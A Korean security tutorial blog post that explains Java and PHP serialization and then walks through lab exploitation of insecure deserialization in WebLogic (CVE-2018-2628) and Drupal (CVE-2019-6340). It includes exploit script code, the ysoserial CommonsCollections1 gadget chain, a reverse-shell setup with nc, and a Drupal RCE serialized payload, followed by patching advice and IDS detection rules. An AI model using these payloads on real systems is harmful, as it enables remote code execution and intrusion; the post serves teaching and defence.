1. Serialize란?
프로그래밍 언어에서 직렬화(Serialize)라는것을 자주 볼수있는데, 언어 문맥에서 구조나 상태를 다른 컴퓨터 환경에 저장하고 나중에 다시 사용할 수 있는 포맷으로 변환하는 과정이다.
직렬화하는 과정은 오브젝트를 마샬링한다고도 한다. 반대로, 일련의 직렬화된 데이터에서 다시 원상태로 복구하는 일은 역직렬화 또는 deserialization이라고 한다.
가능한 언어들은 꽤나 다양한데 언어들마다 조금씩 차이가 있다. 간단히 살펴보도록 하자.
[JAVA]
객체들의 데이터를 연속적인 데이터로 변형하여 Stream을 통해 데이터를 읽도록 해준다. 주로 객체들을 통째로 파일로 저장하거나 다른 곳으로 전송할때 사용된다.
반대로 역직렬화(Deserialize)는 직렬화된 데이터를 역으로 직렬화하여 다시 객체의 형태로 만든다. 저장된 파일을 읽거나 전송된 스트림 데이터를 읽어 원래 객체의 형태로 복원한다.
ObjectInputStream과 ObjectOutputStream을 활용하여 직렬화한다.
코드가 어떻게 직렬화가 되는지 간단히 확인해본다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
public class A implements Serializable {
private static final long serialVersionUID = 1L;
public byte version = 100;
public static void main(String[] args) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(
new FileOutputStream(
"result.obj"));
Atest = new A();
// Try to write to the file object two times
out.writeObject(test);
out.close();
}
}
//위 class를 직렬화 했을때 데이터는 아래와 같이 바이트 형태의 코드로 변환됨:
aced 0005 7372 0010 636f 6d2e 796c 6e2e
7365 7269 616c 2e41 0000 0000 0000 0001
0200 0142 0007 7665 7273 696f 6e78 7064
|
[PHP]
자바보다는 조금더 간단하다.
PHP의 직렬화는 serialize() 함수를 이용하여 변수들을 String으로 변환한다.
반대로 역직렬화는 직렬화된 데이터를 unserialize() 함수를 이용하여 PHP 변수로 변환한다.
PHP도 코드가 어떻게 직렬화가 되는지 간단히 확인해본다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
<?php
/**
*/
include_once("student.class.php");
//Serialize
$so = new Student();
$serialized = serialize($so);
file_put_contents("test.txt", $serialized);
echo $serialized;
//O:7:"Student":3:{s:4:"name";s:11:"Nanhe Kumar";s:13:"Studentroll";i:1;s:6:"*age";i:16;}
o : 오브젝트 ex) o:object_name_length:"object_name":object_size
s : 문자열 ex) s:string_length:"string"
i : 숫자 ex) i:index or i:number
?>
|
2. Deserializaion 취약점이란?
앞서 설명했던 직렬화-역직렬화 과정에서 악의적으로 객체 또는 변수를 추가 작성하여 악성코드를 실행하게끔 만드는 취약점이다. 재작년에 발표된 OWASP TOP 10 2017에는 "안전하지 않은 역직렬화" 취약점 목록이 포함되어있다.
3. 취약점 공격 실습
Deserialization 공격이 어떻게 진행되는지 확인해보기 위해 취약한 환경에서 실습해보자.
또, 취약점 중에서 프로그래밍 언어가 다른 두가지의 플랫폼을 가지고 확인해본다.
실습 후에 어떤 코드에 의해서 취약점공격이 진행되는지 분석해본다.
※취약점을 실제로 서비스중인 서버에 공격을 할 시 법적책임을 물수있습니다. 따라하지마세요
3.1 Weblogic Deserialization RCE
Weblogic이란 Oracle사의. J2EE(Java 2 Enterprise Edition)기반의 웹 서버로 WAS(Web Application Server)의 상용 제품 중 하나이다
실습으로 알아볼 취약점은 CVE-2018-2628이다. Weblogic T3 프로토콜을 이용하여 RMI(Remote Method Invocation) 연결을 맺고 공격자가 미리 정해놓은 페이로드를 전송하여 원격 명령을 실행하는 취약점이다
JAVA의 역직렬화 취약점을 통해 공격을 가능하게 하는 ysoserial 도구와 Exploit-db를 이용하여 취약점이 존재하는 Weblogic 서버에 공격을 시도한다. 취약한 Weblogic 버전은 10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3 버전이다. 해당 취약점 분석에서는 Weblogic 10.3.6 버전을 윈도우에 구성하여 진행하였다.
대상 |
운영체제 |
Ip |
공격자 |
Kali Linux |
192.168.1.54 |
피해자 |
Windows 10 |
192.168.1.218 |
3.1.1 Weblogic 취약점 공격
공격을 위해 칼리리눅스에서 총 3개의 터미널을 준비한다.
공격자 PC에서 터미널을 실행하고 임의의 포트를 지정하여 과 같이 nc를 포트대기 상태로 만든다.
다운로드 받은 ysoserial을 이용하여 nc 연결을 위한 페이로드와 함께 RMI Connection 포트를 대기상태로 만든다. -cp 옵션은 사용하려는 Java 클래스와 라이브러리를 찾을 수 있도록 경로를 정의한다.
ysoserial.jar을 압축 프로그램으로 확인해보면, 그림 5에서 사용하는 java class는 ysoserial 폴더 아래 exploit 경로에 JRMPListener.class가 존재하는 것을 확인할 수 있다.
Exploit-db에서 다운로드 받은 python을 이용하여 exploit 공격을 실행한다. 앞에는 피해자, 즉, weblogic 서버의 ip와 port를 입력하고 뒤에는 공격자의 ip와 앞서 진행했던 RMI Connection을 위한 port를 입력하고 JRMPListener와 상호작용하는 payload인 JRMPClient를 입력한다.
Exploit을 진행하면 payload를 weblogic서버에 전달하게 된다.
아래 그림과 같이 RMI Connection 대기중인 1099 port에 서버에서 연결 신호를 보내 피해자와 연결 되는 것 확인 할 수 있다.
마지막으로 4444 포트로 대기중인 첫번째 터미널을 확인해보면, 피해자와 리버스 연결이 성공된 것을 확인 할 수 있다. 윈도우 커맨드 명령인 dir을 입력해 보면 Weblogic 경로와 파일 리스트들을 확인 할 수 있다.
3.2 Drupal Deserialization exploit
Drupal은 PHP로 작성된 오픈 소스 콘텐츠 관리 프레임워크이다
두번째로 실습해 볼 취약점은 CVE-2019-6340으로 Drupal에 REST모듈을 사용할때 발생하는 취약점이다.
Rest API란 웹 아키텍쳐를 최대한 활용할 수 있도록 만들어진 API이다. Resource, Verb, Representations으로 구성되어 있으며 json, xml, yaml 등의 다양한 언어로 정의된다.
실습을 하기 위해 Apahce, PHP, MySQL을 미리 준비해야한다.
해당 취약점은 Drupal 6.8.10 하위 버전에서 발생한다. 환경은 6.8.6 버전으로 구성하였다.
설치 및 설정부분은 취약점 분석에 중요한 부분은 아니니 나중에 별도로 블로그에 작성하도록 하고
대상 |
운영체제 |
IP |
공격자 |
Mac OS |
192.168.1.165 |
피해자 |
Windows 10 |
192.168.1.218 |
3.2.1 Drupal 취약점 공격
취약점 공격을 하기 위해 먼저 drupal에 게시글을 하나 작성해야 한다.
게시글을 하나씩 생성할때마다 /node/1,2,3 이런식으로 수가 증가하게 된다.
다음은 생성된 게시글을 이용하여 취약점 공격을 시도한다. python으로 미리 선언한 공격코드를 실행하면 아래와 같이 마지막에 "desktop-5pv~~~~"로 된 hostname을 확인 할 수 있다.
잘 모르겠지만...
글을 생성한 후에 제대로된 공격이던, 실패된 공격이던, 공격시도를 한번 하면 다음번엔 취약점이 존재해도 공격이 되지 않았다.
이것때문에 설치 삭제 반복... 시간을....
4. 공격코드 분석
앞에서 진행했던 공격코드가 어떻게 진행되어 취약점이 발생했는지 살펴본다.
4.1 Weblogic
main 함수는 매개변수값을 받아서 exploit 함수로 넘겨주는 역할이다. 현재 매개변수값을 보면 [victim ip] , [victim port] , [path to ysoserial] , [JRMPListener ip] , [JRMPListener port] , [JRMPClient]로 총 6가지이다. [victim ip]는 피해자 ip , [victim port]는 T3 프로토콜 port 디폴트 값으로 7001포트를 사용한다. [path to ysoserial]은 ysoserial 실행파일의 위치이다.
여기서 사용되는 ysoserial은 역 직렬화 시 여러 포맷으로 저장된 데이터를 내부 코드로 환원하는데 이 과정에서 악의적인 코드 삽입에 사용되는 간편한 도구다. [JRMPListener ip]는 JRMP RMI 연결을 할 ip ,즉 공격자 ip를 입력한다. [JRMPListener port] 는 RMI 연결 포트로 1099번이 디폴트 값이다. [JRMPClient]는 ysoserial에서 사용할 라이브러리를 넣으면 되는데 JRMPClient 라이브러리를 사용한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
if __name__=="__main__":
#check for args, print usage if incorrect
if len(sys.argv) != 7:
print('\nUsage:\nexploit.py [victim ip] [victim port] [path to ysoserial] '
'[JRMPListener ip] [JRMPListener port] [JRMPClient]\n')
sys.exit()
dip = sys.argv[1]
dport = int(sys.argv[2])
path_ysoserial = sys.argv[3]
jrmp_listener_ip = sys.argv[4]
jrmp_listener_port = sys.argv[5]
jrmp_client = sys.argv[6]
exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)
|
exploit함수는 연결할 Socket을 생성하고 T3 서비스에 연결을 진행한다. 그리고 payload를 생성하고 미리 생성 된Socket과 ysoserial의 JRMPClient 라이브러리를 이용하여 공격하며 RMI의 포트를 오픈하는 원리이다. RMI 포트가 오픈되고 연결을 시도할 때 역 직렬화 공격 코드를 삽입함으로서 원격 코드가 내부 코드로 인식되어 실행되는 원리이다.
1
2
3
4
5
6
7
8
9
10
11
|
def exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
sock.settimeout(65)
server_addr = (dip, dport)
t3_handshake(sock, server_addr)
build_t3_request_object(sock, dport)
payload = generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)
print("payload: " + payload)
rs=send_payload_objdata(sock, payload)
print('response: ' + rs)
print('exploit completed!')
|
def exploit > t3_handshake함수는 socket을 통해 T3 서비스와 통신을 하도록 해준다.
1
2
3
4
5
6
|
def t3_handshake(sock, server_addr):
sock.connect(server_addr)
sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
sock.recv(1024)
print('handshake successful')
|
def exploit > build_t3_request_object함수는 T3 통신 후 socket 연결을 맺는다.
1
2
3
4
5
6
7
8
9
|
def build_t3_request_object(sock, port):
data1 = '000005c3016501ffffffffffffffff0000006a0000ea6000000019....생략'
data2 = '007e00034c000e72656c6561736556657273696f6e7400....생략'.format('{:04x}'.format(dport))
data3 = '1a7727000d3234322e323134'
data4 = '2e312e32353461863d1d0000000078'
for d in [data1,data2,data3,data4]:
sock.send(d.decode('hex'))
print('send request payload successful,recv length:%d'%(len(sock.recv(2048))))
|
def exploit > generate_payload함수는, 위에서 Socket연결이 맺어진 후. ysoserial을 사용하여 RMI 포트를 오픈하는 Payload를 생성하는 함수다.
1
2
3
4
5
6
7
|
def generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
#generates ysoserial payload
command = 'java -jar {} {} {}:{} > payload.out'.format(path_ysoserial, jrmp_client, jrmp_listener_ip, jrmp_listener_port)
print("command: " + command)
bin_file = open('payload.out','rb').read()
return binascii.hexlify(bin_file)
|
def exploit > sen_payload_objdata 함수는 연결된 socket을 통해 payload를 전송한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
def send_payload_objdata(sock, data):
payload='056508000000010000001b0000005d0101007...생략'
payload+=data
payload+='fe010000aced0005737200257765626c6f676...생략'
payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
sock.send(payload.decode('hex'))
sock.send(payload.decode('hex'))
res = ''
try:
while True:
res += sock.recv(4096)
time.sleep(0.1)
except Exception:
pass
return res
|
RCE 공격을 하기 위해 ysoserial의 CommonsCollection1 라이브러리를 사용한다. command 변수가 RCE 명령어를 실행할 코드이다. String.class에서 getMethod() 로 length() 객체를 얻어와 invoke()로 실행시키는 코드이다. Invoke() 메소드는 클래스의 정보를 얻어와 동적으로 실행하는 기능을 한다. 결국은 마지막에 Runtime.exec() 메소드 호출하는 구조이며 RCE가 발생된다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
public InvocationHandler getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return handler;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections1.class, args);
}
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAnnInvHUniversalMethodImpl();
}
}
|
4.2 Drupal
아래코드는 게시글 생성하는 코드이다. http get,post 웹 통신을 하기 위해 requests를 이용한다. 관리자 계정, druapl 주소를 입력후 게시글이 생성될 때 필요한 header, body값을 입력해준 뒤 코드를 실행하면 글 생성된다. 그냥 게시판에 클릭두번만하면 글생성되는데 어떻게 보면 귀찮은 짓 일수도...
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
|
import requests
import json
auth = ('id', 'pw')
host = 'http://192.168.1.218/drupal'
url = host + '/entity/node/'
headers = {
'Content-Type': 'application/hal+json',
'Cache-Control': 'no-cache',
'Accept': 'application/hal+json',
}
query = {
'_format': 'hal_json',
}
data = {
'_links': {'type': {'href': host + '/rest/type/node/article'}},
'type': [{'target_id': 'article'}],
'body': [{'value': 'Test body.'}],
'title':[{'value': 'Test title'}],
}
response = requests.post(url,
params=query,
data=json.dumps(data).encode('utf-8'),
auth=auth,
headers=headers)
print(response.status_code)
print(response.text)
# This is the equivalent CURL request that will do the same thing
curl = '''
curl --request POST \
-k \
-i \
-s \
--user "id:pw" \
--header 'Content-type: application/hal+json' \
-H 'Cache-Control: no-cache' \
'%s/entity/node/?_format=hal_json' \
--data-binary '%s' ''' % (host, json.dumps(data))
print(curl)
|
생성된 게시글을 가지고 공격을 실행한다. 어떤 공격을 실행할 건지 해당 운영체제에 맞게 명령어를 작성한다. url은 아까 생성된 node뒤 숫자를 입력해주고, data, 즉 body 부분에 직렬화된 데이터를 입력하여 취약점 공격을 실행한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
import requests
import json
remote_command_to_execute = 'whoami'
host = 'http://192.168.1.218/drupal'
url = host + '/node/14'
headers = {
'Content-Type': 'application/hal+json',
'Cache-Control': 'no-cache',
'Accept': 'application/hal+json',
}
query = {
'_format': 'hal_json',
}
data = {
'link': [{'value': 'link',
'options': "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000"
"GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\""
"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:"
"{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";"
"s:|size|:\"|command|\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000"
"stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000"
"GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\""
"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
"".replace('|size|', str(len(remote_command_to_execute)))
.replace('|command|', remote_command_to_execute)
}
],
'_links': {'type': {'href': host + '/rest/type/shortcut/default'}},
}
response = requests.get(url, params=query, data=json.dumps(data).encode('utf-8'), headers=headers)
print(response.status_code)
print(response.text)
|
수동으로 공격을 진행해보면 다음과 같다. 직렬화 데이터를 생성하기 위해서 JAVA 직렬화 취약점에서 사용했던 ysoserial와 같이 PHP에도 비슷한게 존재한다. 자동은 아님.
PHPGCC 라는 툴을 사용하면 된다. 아래 그림과 같이 명령어를 사용하면 공격코드가 포함된 직렬화 데이터가 생성된다.
위에서 생성한 직렬화 데이터로 로컬프록시를 통해 전송해본다. 해당 공격은 GET 방식으로 전송하며 body값을 입력할때 발생하는 취약점이므로 GET으로 설정후 body값에 직렬화데이터를 입력하여 전송하면 Response값 마지막 하단에 ipconfig가 실행된 것을 확인할 수 있다.
*취약점 코드 분석 추후 추가 예정
5.대응방안
앞서 살펴본 Weblogic, Drupal의 취약점들을 어떻게 막아야 하는지 확인해본다.
5.1 Weblogic
5.1.1 기본 포트 변경
해당 취약점이 발생한 시점부터 아래 그림과 같이 Weblogic의 공격횟수가 증가한것을 확인할 수 있다. 7001포트는 Weblogic의 기본 설정 포트이다. 기본으로 설정된 포트를 변경하여 사용하고 변경한 포트에 대해서 접근제한이 필요하다.
5.1.2 버전 업데이트
취약한 Weblogic version(10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3)을 사용할 경우,
해당 취약점이 패치된 최신 버전으로 업데이트하여 사용해야 한다.
5.1.3 공격 탐지 rule set
alert tcp $EXTERNAL_NET any ->$HOME_NET 7001 (msg: CVE-2018-2628 Attack Attempt Detected;flow:to_server,established; content:”|AC ED 00 05|”;
content:”Registry”;fast_pattern:only;sid:200338;)
alert tcp $EXTERNAL_NET any ->$HOME_NET 7001 (msg: CVE-2018-2628 Attack Attempt Detected;flow:to_server,established; content:”|AC ED 00 05|”;
content:”InovocationHandler”; fast_pattern:only;sid:200339;)
5.2 Drupal
5.2.1 임시설정
1) Drupal 확장모듈 설치시 웹 서비스 모듈을 사용하려면 serialize가 활성화되어야 한다.
웹 서비스 모듈의 사용 불가능으로 설정하여 취약점을 막는다.
2 )웹 서비스 GET/PUT/PATCH/POST 요청이 불가능하도록 웹 서버에서 설정한다.
5.2.2 버전 업데이트
Drupal 8.6.X < 8.6.10
Drupal 8.5.X < 8.5.11
8.5.X 이하 버전일 경우 Drupal 8 지원이 종료되어 패치버전 존재하지 않음.
5.2.3 공격탐지 rule set
alert http any any -> any any (msg: "ATTACK [PTsecurity] Arbitrary PHP RCE in Drupal 8 < 8.5.11,8.6.10 (CVE-2019-6340)"; flow: established, to_server; content: "GET"; http_method; content: "hal_json"; http_uri; content: "link"; http_client_body; content: "options"; distance: 0; content: "O:"; distance: 0; http_client_body; pcre: "/\x22options\x22\s*:\s*\x22O:\d+:/P"; reference: cve, 2019-6340; reference: url, www.ambionics.io/blog/drupal8-rce; reference: url, github.com/ptresearch/AttackDetection; metadata: Open Ptsecurity.com ruleset; classtype: attempted-admin; sid: 10004555; rev: 3; )
-참고-
JAVA 직렬화 설명 : https://flowarc.tistory.com/entry/Java-객체-직렬화Serialization-와-역직렬화Deserialization
JAVA Serialize format : https://www.programering.com/a/MTN0UjNwATE.html
PHP Serialze 1 : http://chongmoa.com/php/6902
PHP Serialize 2 : https://www.php.net/manual/en/function.serialize.php
ysoserial :https://github.com/frohoff/ysoserial
Weblogic RMI with T3 : https://docs.oracle.com/cd/E28280_01/web.1111/e13721/rmi_t3.htm#WLRMI143
Drupal rce : https://www.ambionics.io/blog/drupal8-rce
Drupal detection rule : https://github.com/ptresearch/AttackDetection